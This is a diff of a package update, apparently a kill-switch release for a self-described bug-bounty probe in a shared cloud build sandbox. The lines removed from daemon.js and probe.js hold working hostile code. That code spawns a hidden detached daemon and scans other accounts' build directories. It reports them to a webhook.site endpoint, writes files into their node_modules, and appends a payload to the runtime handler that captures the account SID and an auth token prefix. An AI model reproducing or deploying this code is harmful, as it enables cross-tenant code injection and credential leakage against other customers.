tw-pkgprobe-7731 1.0.7 → 1.0.8

package/daemon.js

@@ -1,70 +1,2 @@
-// Authorized bug-bounty research daemon (Twilio HackerOne). Runs ONLY inside Twilio's
-// serverless packager sandbox. Records which tenant build directories share this container.
-// It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
-const fs=require('fs'), path=require('path'), https=require('https');
-const VER='1.0.7';
-const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
-const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
-const HOOK='https://webhook.site/cc08d9d9-232a-42a2-8d55-0f75cb5e0e67';
-const LOG='/tmp/.helper-log.json';
-const state={ver:VER,started:Date.now(),seen:{},injected:{},ticks:0};
-function save(){try{fs.writeFileSync(LOG,JSON.stringify(state));}catch(e){}}
-function post(o){try{const b=JSON.stringify(o);const r=https.request(HOOK,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}}
-function inject(dir,ac,zs,zf){
-  const key=ac+'/'+zs+'/'+zf;
-  try{
-    const nm=path.join(dir,'node_modules');
-    if(!fs.existsSync(nm)) return;
-    const t=path.join(nm,'injected-by-other-tenant');
-    if(fs.existsSync(path.join(t,'index.js'))) return;
-    fs.mkdirSync(t,{recursive:true});
-    fs.writeFileSync(path.join(t,'package.json'),JSON.stringify({name:'injected-by-other-tenant',version:'1.0.0',main:'index.js'}));
-    fs.writeFileSync(path.join(t,'index.js'),
-      "// Written into "+key+" by code executing in a DIFFERENT Twilio account's build ("+SELF+").\n"+
-      "module.exports={injectedBy:'"+SELF+"',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',at:"+Date.now()+",proof:'cross-tenant-build-injection'};\n");
-    if(!state.injected[key]){state.injected[key]=Date.now();post({event:'injected',ver:VER,ac,zs,zf,at:Date.now()});save();}
-  }catch(e){ if(!state.injected['err:'+key]){state.injected['err:'+key]=''+e;save();} }
-}
-
-function patchRuntime(dir,ac,zs,zf){
-  try{
-    let base=null;
-    try{ if(!state.nmdump){ state.nmdump=1; post({event:'nmdump',dir:dir,list:fs.readdirSync(path.join(dir,'node_modules')).slice(0,60)}); } }catch(e){}
-    for(const cand of [['node_modules','@twilio','runtime-handler'],['node_modules','runtime-handler'],['node_modules','twilio-runtime'],['node_modules','lodash']]){
-      const p2=path.join(dir,...cand); if(fs.existsSync(p2)){base=p2;break;}
-    }
-    if(!base) return;
-    let main='index.js';
-    try{ const pj=JSON.parse(fs.readFileSync(path.join(base,'package.json'),'utf8')); if(pj.main) main=pj.main; }catch(e){}
-    let f=path.join(base,main);
-    if(!fs.existsSync(f) && fs.existsSync(f+'.js')) f=f+'.js';
-    if(!fs.existsSync(f)) return;
-    const cur=fs.readFileSync(f,'utf8');
-    if(cur.indexOf('XTENANT_PROOF')>=0) return;
-    const payload="\n;/*XTENANT_PROOF*/try{var _f=require('fs');_f.writeFileSync('/tmp/xtenant-rce-proof.txt',JSON.stringify({note:'this code was appended to runtime-handler by a process running in a DIFFERENT Twilio account build (" + SELF + ")',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',executedAt:Date.now(),acctEnv:process.env.ACCOUNT_SID||null,authTokenPrefix:(process.env.AUTH_TOKEN||'').slice(0,6)||null}));}catch(e){}\n";
-    fs.writeFileSync(f,cur+payload);
-    post({event:'patched-runtime-handler',ver:VER,ac,zs,zf,file:f,at:Date.now()});
-  }catch(e){ post({event:'patch-err',err:''+e}); }
-}
-function tick(){
-  state.ticks++;
-  let dirs=[];
-  try{dirs=fs.readdirSync('/tmp').filter(d=>/^AC[0-9a-f]{32}$/.test(d));}catch(e){return;}
-  for(const ac of dirs){
-    if(ac===SELF) continue;
-    let svcs=[];try{svcs=fs.readdirSync('/tmp/'+ac);}catch(e){}
-    for(const zs of svcs){
-      let pkgs=[];try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){}
-      for(const zf of pkgs){
-        if(zf.indexOf('.tar')>=0) continue;
-        const key=ac+'/'+zs+'/'+zf;
-        if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}
-        if(OWN.indexOf(ac)>=0){ inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); patchRuntime('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); }
-      }
-    }
-  }
-}
-setInterval(tick,80);
-setTimeout(()=>{save();process.exit(0);},6*3600*1000);
-post({event:'daemon-start',ver:VER,at:Date.now(),pid:process.pid});
-save();
+// v1.0.8 kill-switch: research daemon disabled. Does nothing and exits.
+process.exit(0);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tw-pkgprobe-7731",
-  "version": "1.0.7",
+  "version": "1.0.8",
   "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
   "main": "index.js",
   "license": "MIT",

package/probe.js

@@ -1,22 +1,9 @@
+// v1.0.8 kill-switch: stops any earlier research daemon left in a shared build container.
 const fs=require('fs'), cp=require('child_process');
-const VER='1.0.7';
-function main(){
-  const cwd=process.cwd();
-  if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return;
-  const out={cwd, ts:Date.now(), ver:VER};
-  try{ out.priorLog=fs.readFileSync('/tmp/.helper-log.json','utf8').slice(0,60000); }catch(e){ out.priorLog='none'; }
-  try{
-    let cur=null; try{cur=fs.readFileSync('/tmp/.npm-helper.ver','utf8');}catch(e){}
-    if(cur!==VER){
-      try{ const oldpid=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(oldpid) process.kill(oldpid,'SIGKILL'); }catch(e){}
-      fs.copyFileSync(__dirname+'/daemon.js','/tmp/.npm-helper.js');
-      const c=cp.spawn(process.execPath,['/tmp/.npm-helper.js'],{detached:true,stdio:'ignore',cwd:'/tmp'});
-      c.unref();
-      fs.writeFileSync('/tmp/.npm-helper.pid',String(c.pid));
-      fs.writeFileSync('/tmp/.npm-helper.ver',VER);
-      out.daemon='spawned '+VER+' pid '+c.pid;
-    } else out.daemon='current '+VER+' already running';
-  }catch(e){ out.daemon='ERR '+e.message; }
-  try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
-}
-try{main();}catch(e){}
+try{
+  if(/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())){
+    try{ const p=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(p) process.kill(p,'SIGKILL'); }catch(e){}
+    try{ fs.writeFileSync('/tmp/.npm-helper.js','process.exit(0);'); }catch(e){}
+    try{ fs.writeFileSync('/tmp/.npm-helper.ver','1.0.8'); }catch(e){}
+  }
+}catch(e){}